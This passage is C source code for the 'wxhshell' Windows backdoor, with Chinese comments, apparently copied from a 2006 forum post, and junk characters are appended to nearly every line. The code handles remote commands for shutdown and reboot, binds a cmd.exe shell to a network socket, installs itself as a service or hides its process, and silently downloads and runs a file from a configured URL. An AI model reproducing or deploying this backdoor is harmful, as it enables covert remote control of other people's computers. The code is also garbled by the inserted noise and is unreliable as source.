-f"{%<Q  
    switch(cmd[0]) { /?*ut&hwv  
  &a'LOq+r'  
  // 帮助 ,vuC0{C^  
  case '?': { j k&\{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @I?: x4  
    break; j)#GoU=w  
  } 0KjCM4t  
  // 安装 }U|Vpgd!  
  case 'i': { mBQpf/PG  
    if(Install()) ~Jlq.S'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \og2\Oh&gH  
    else }Zfi/^0U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L),bP fz  
    break; r"dR}S.Uf  
    } *TPWLR ^  
  // 卸载 Y /l~R7  
  case 'r': { GF*uDJ Kp  
    if(Uninstall()) 9rT"_d#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A| y U'k  
    else \ !IEZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P[jh^!<j  
    break; lz _ r  
    } c-4z8T#M^  
  // 显示 wxhshell 所在路径 q&^H" fF  
  case 'p': { 6Ia[`x uL  
    char svExeFile[MAX_PATH]; 3=%G{L16-  
    strcpy(svExeFile,"\n\r"); '30JJ0  
      strcat(svExeFile,ExeFile); w^}* <q\  
        send(wsh,svExeFile,strlen(svExeFile),0); 2%) ~E50U  
    break; @)@tIhw  
    } ){KrBaGa4  
  // 重启 tMyMA}`  
  case 'b': { }$s QmR R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gZ=$bR  
    if(Boot(REBOOT)) R#s_pW{op  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  lHE+o;-  
    else { UI*&@!%bzp  
    closesocket(wsh); h;~NA}>  
    ExitThread(0); 'h[7AZ&)#  
    } Mo4c8wp&SM  
    break; :N'   
    } n2Q ?sV;m  
  // 关机 x!u6LDq0  
  case 'd': { e1hf{:&/G@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,Bj]j -\Y  
    if(Boot(SHUTDOWN)) vgi`.hk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .I%B$eH  
    else { f4 vdJ5pV  
    closesocket(wsh); Hro)m"  
    ExitThread(0); 4G RHvA.  
    } /bmkt@$-0  
    break; xM/WS':V  
    } P1<McQ  
  // 获取shell c)c_Qv  
  case 's': { z2q!_ ~  
    CmdShell(wsh); kH=qJ3Z  
    closesocket(wsh); /9| 2uw`  
    ExitThread(0); _S CY e  
    break; #;UoZJ B  
  } WN o+%  
  // 退出 &iT^IkA{  
  case 'x': { &uI33=   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ER:K^ Za  
    CloseIt(wsh); (U:6vk3Q  
    break; >E WK cocM  
    } 3M>y.MS  
  // 离开 rw75(Lp{  
  case 'q': { |C>\k u*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -o57"r^x  
    closesocket(wsh); 1U ='"  
    WSACleanup(); jRxzZt4  
    exit(1); jJ?G7Q5 l  
    break; }MtORqK  
        } c$_}   
  } 4x.I"eW~&  
  } lE3&8~2   
7r pTk&`  
  // 提示信息 sR| /s3;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); biVsbxYurq  
} Gi&/`vm  
  } (V"7H  
@9\E  
  return; EdZNmL3cB  
} xFyBF[c  
eGo$F2C6E  
// shell模块句柄 4ZB]n,pfT  
int CmdShell(SOCKET sock) NU[Wj uLG  
{ >uE<-klv  
STARTUPINFO si; eYPIZ{S7h  
ZeroMemory(&si,sizeof(si)); Gz7,g Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &+/$~@OK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Zm#,Ike?#  
PROCESS_INFORMATION ProcessInfo; '@"A{mrE  
char cmdline[]="cmd"; 51'V[tI;8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LtNspFoLb  
  return 0; SA [(1dy;  
} B'6(Ao=3/  
}RQ'aeVl(  
// 自身启动模式 ?:W=ddg  
int StartFromService(void) d%oHcn  
{ (>dL  
typedef struct q'jInwY|x  
{ KC54=Rf  
  DWORD ExitStatus; 3) XS^WG  
  DWORD PebBaseAddress; ca%XA|_J  
  DWORD AffinityMask; EDg; s-T=  
  DWORD BasePriority; >,f5 5  
  ULONG UniqueProcessId; Ex{;&UWm  
  ULONG InheritedFromUniqueProcessId; d/E0opv  
}   PROCESS_BASIC_INFORMATION; )7WLbj!M  
cN)noGkp  
PROCNTQSIP NtQueryInformationProcess; H+Q_%%[N  
&CfzhIi*!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XL(2Qk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tz2$j@!=  
/ q^_ 'Lp  
  HANDLE             hProcess; `U{#;  
  PROCESS_BASIC_INFORMATION pbi; w^S]HzMd  
yRz l}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I2?g'tz  
  if(NULL == hInst ) return 0; DhG{hQ[[  
@>[3 [;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B:)vPO+ d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _F jax  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (KR.dxzjf  
q&,uJo  
  if (!NtQueryInformationProcess) return 0; ; $UB@)7%  
,k m`-6.2?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t0)hd X  
  if(!hProcess) return 0; Rz33_ qA  
&>XSQB(&%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5NMju!/  
83Fmu/(  
  CloseHandle(hProcess); Q>\9/DjUp  
Q5;EQ .#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !XY}\zKq  
if(hProcess==NULL) return 0; wA6<Buj D  
j7C&&G q  
HMODULE hMod; dj3E20Ws  
char procName[255]; {|tMN,Z  
unsigned long cbNeeded; EyV6uk~  
-yY]0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cA`X(Am6]g  
Fw6x (j"  
  CloseHandle(hProcess); _i0,?U2C  
z4(Q.0x7  
if(strstr(procName,"services")) return 1; // 以服务启动 MG$Df$R  
h>n<5{zqM  
  return 0; // 注册表启动 3 yM!BTlX  
} +Z/aG k;  
*l'5z)]  
// 主模块 m# I  
int StartWxhshell(LPSTR lpCmdLine) >\ PNKpn{  
{ 9 icy&'  
  SOCKET wsl; WOf*1C  
BOOL val=TRUE; -[>G@m:?e  
  int port=0; Ga $EM  
  struct sockaddr_in door; 8MCSU'uQ  
CGCSfoS9f  
  if(wscfg.ws_autoins) Install(); x5!lnN,#  
@4j!M1} 4  
port=atoi(lpCmdLine); gz`P~7-w:  
%2rUJaOgy$  
if(port<=0) port=wscfg.ws_port; mV'^4by  
{@3p^b*E)1  
  WSADATA data; 7f q\ H{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +FtL_7[v  
Xq.G vZS`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OEj%cB!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *qL"&h5W  
  door.sin_family = AF_INET; Y1U\VU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x-ZCaa}O  
  door.sin_port = htons(port); d i#:KW  
sBWLgJz?C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X5Ff2@."y|  
closesocket(wsl); mi$*,fz  
return 1; e(sV4Z~  
} i sV9nWo$  
&io*pmUm6  
  if(listen(wsl,2) == INVALID_SOCKET) { .eM A*C~n  
closesocket(wsl); >-<7 r?~  
return 1; 99..]  
} [[9XqD]  
  Wxhshell(wsl); RF.8zea{O`  
  WSACleanup(); :ODG]-QF  
A;#GU`  
return 0; *[[TDduh&  
vd!|k5t[d  
} qox31pnS  
G[!Y6c 3  
// 以NT服务方式启动 @+ U++  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5Rec~&v  
{ c<j  +"  
DWORD   status = 0; M4(`o^n  
  DWORD   specificError = 0xfffffff; # ~T K C|G  
k->cqtG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4mJ[Wr\y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p(]o#$ 6[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h$eVhN &Vv  
  serviceStatus.dwWin32ExitCode     = 0; oN6 '%   
  serviceStatus.dwServiceSpecificExitCode = 0; CNF3".a  
  serviceStatus.dwCheckPoint       = 0; #9) D.d|5  
  serviceStatus.dwWaitHint       = 0; $f]dL};  
YXWlg%s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a)GT\1q  
  if (hServiceStatusHandle==0) return; &WGG kn  
m^Xq<`e"<  
status = GetLastError(); ykbTWp$Y4Z  
  if (status!=NO_ERROR) Me e+bp  
{ "vG~2J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -THU5AB  
    serviceStatus.dwCheckPoint       = 0; FlQ(iv)P  
    serviceStatus.dwWaitHint       = 0; }c~o3t(7`b  
    serviceStatus.dwWin32ExitCode     = status; b];? tP  
    serviceStatus.dwServiceSpecificExitCode = specificError; F/I`EV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @$(@64r  
    return; \a}W{e=FNT  
  } P1f@?R&t+  
Ue22,Pp6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -^%YrWgd?  
  serviceStatus.dwCheckPoint       = 0; EZvf\s>LT  
  serviceStatus.dwWaitHint       = 0; IrZ!.5%tV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p&~= rp`E  
} Y"&1jud4xl  
5*W<6ia  
// 处理NT服务事件,比如:启动、停止 k^Q>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8hx 3pvmk  
{ bAa+MB#A  
switch(fdwControl) 8S_v} NUm  
{ u4UQMj|q  
case SERVICE_CONTROL_STOP: \h}a?T6  
  serviceStatus.dwWin32ExitCode = 0; NlnmeTLO5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .:)nG(7f<  
  serviceStatus.dwCheckPoint   = 0; *3>$ f.QU  
  serviceStatus.dwWaitHint     = 0; &7CAxU;i3  
  { ;.<0lnV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $WV N4fg  
  } BCK0fk~  
  return; 5@xl/  
case SERVICE_CONTROL_PAUSE: Mmu>&C\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P}Ud7Vil;l  
  break; ,`ZIW  
case SERVICE_CONTROL_CONTINUE: A=5A8B1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Jm l4EW7  
  break; L,B#%t  
case SERVICE_CONTROL_INTERROGATE: R} #6  
  break; >pV|c\  
}; ,?Bo x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X-&U-S;  
} `T]1u4^E  
8=#J:LeXj  
// 标准应用程序主函数 [e:mRMi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P{-f./(JD  
{ _26~<gU8  
'L"dM9#>  
// 获取操作系统版本 1~HR;cTv=  
OsIsNt=GetOsVer(); N<\U$\i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z,~EH  
RU1+ -   
  // 从命令行安装 1qw*mV;W)_  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;c-J)Ky  
<3;Sq~^  
  // 下载执行文件 V*m@Rs!)2  
if(wscfg.ws_downexe) { G@O~*k1v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <L1;aNN  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0pSqk/  
} BmRk|b  
@} 61D  
if(!OsIsNt) { F .(zS(q  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;eG,T-:  
HideProc(); L %[om c?  
StartWxhshell(lpCmdLine); u H}cvshv  
} o0nKgq'w|x  
else J8T?=%?=  
  if(StartFromService()) XL/?v" /  
  // 以服务方式启动 ` R;6]/I?  
  StartServiceCtrlDispatcher(DispatchTable); ctv=8SFv(  
else Q)7iu  
  // 普通方式启动 SYPG.O?I  
  StartWxhshell(lpCmdLine); e Akjpc  
7n-;++a5]  
return 0; zF6]2Y?k%  
}
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只看该作者 1 发表于: 2006-10-10
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